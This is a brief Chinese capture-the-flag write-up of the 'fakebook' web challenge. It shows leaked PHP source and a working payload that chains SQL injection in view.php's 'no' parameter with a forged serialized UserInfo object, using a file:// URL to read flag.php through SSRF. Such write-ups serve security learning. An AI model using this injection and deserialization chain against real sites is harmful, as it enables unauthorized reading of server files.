fakebook

网鼎杯的

进去之后看起来像个blog,可以登陆.
robots.txt里面有个user.php.bak的源码备份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

登陆进去,发现url中的no参数存在sql注入
注出来user表里 no,username,passwd,data
表里面data参数存的是UserInfo反序列化的内容

1
O:8:"UserInfo":3:{s:4:"name";s'}

考虑构造反序列化,调用get函数ssrf读取flag.php
payload

1
/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

之后找到对应用户的blog,解一个base64就ok